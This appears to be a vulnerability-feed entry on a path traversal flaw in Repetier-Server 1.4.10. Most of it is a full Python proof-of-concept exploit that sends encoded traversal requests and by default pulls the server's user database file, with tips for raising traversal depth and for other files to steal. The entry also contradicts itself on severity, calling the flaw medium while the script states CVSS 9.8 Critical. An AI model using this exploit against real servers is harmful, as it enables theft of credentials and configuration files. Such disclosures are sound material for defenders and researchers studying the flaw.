Repetier-Server version 1. 4. 10 is affected by a path traversal vulnerability that allows an attacker to access files outside the intended directory. This vulnerability is classified as medium severity. Exploit code is publicly available in Python, but there are no known exploits observed in the wild. No patch or official remediation information is currently provided.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: Repetier-Server 1.4.10 - Path Traversal # Exploit Author: Mohammed Idrees Banyamer # Vendor Homepage: https://www.repetier.com/ # Version: <= 1.4.10 # Tested on: Windows 10 / Windows Server 2019 (Repetier-Server default install) # CVE: CVE-2026-26335 # Advisory: https://cybir.com/2023/cve/poc-repetier-server-140/ (related research) # CVSS: 9.8 (Critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N import requests import argparse import sys from urllib.parse import urljoin def generate_traversal(depth: int = 15) -> str: return "..%5c" * depth def attempt_read(target_url: str, file_path: str, traversal_depth: int = 15, timeout: int = 10) -> bool: traversal = generate_traversal(traversal_depth) payloads = [ f"views{traversal}{file_path}/base/connectionLost.php", f"base/connectionLost.php?file={traversal}{file_path}", ] print(f"[*] Targeting: {target_url}") print(f"[*] Attempting to read: {file_path}") print(f"[*] Traversal depth: {traversal_depth}") for payload in payloads: exploit_url = urljoin(target_url.rstrip("/") + "/", payload) try: print(f" → Trying: {exploit_url}") r = requests.get(exploit_url, timeout=timeout, verify=False) if r.status_code == 200 and len(r.content) > 60: sample = r.text[:500].replace("\n", " ").strip() print(f"[+] LIKELY SUCCESS (status {r.status_code}, {len(r.content)} bytes)") print(f" Preview:\n {sample}...") return True else: print(f" → Failed (status {r.status_code}, size {len(r.content)})") except requests.RequestException as e: print(f" → Error: {e}") return False def main(): parser = argparse.ArgumentParser( description="CVE-2026-26335 PoC - Repetier-Server Path Traversal / LFI" ) parser.add_argument("target", help="Target base URL (e.g. http://192.168.1.100:3344/)") parser.add_argument("--file", default="ProgramData\\Repetier-Server\\database\\user.sql", help="File path to read (use Windows \\ separator)") parser.add_argument("--depth", type=int, default=15, help="Traversal depth") parser.add_argument("--test", action="store_true", help="Quick test with Windows\\win.ini") args = parser.parse_args() if args.test: args.file = "Windows\\win.ini" print("[i] Running test mode → targeting Windows\\win.ini") file_path = args.file.replace("\\", "%5c") print("=" * 70) print("CVE-2026-26335 Exploit PoC - Repetier-Server <=1.4.10 Path Traversal") print("USE ONLY ON SYSTEMS YOU OWN OR HAVE EXPLICIT PERMISSION TO TEST!") print("=" * 70, "\n") success = attempt_read(args.target, file_path, args.depth) if not success: print("\n[!] Exploitation attempt failed.") print("Suggestions:") print(" • Increase --depth (try 18–30)") print(" • Verify target is running Repetier-Server <=1.4.10") print(" • Try alternative interesting files:") print(" - ProgramData%5cRepetier-Server%5cconfig.xml") print(" - Windows%5csystem32%5cdrivers%5cetc%5chosts") if __name__ == "__main__": main()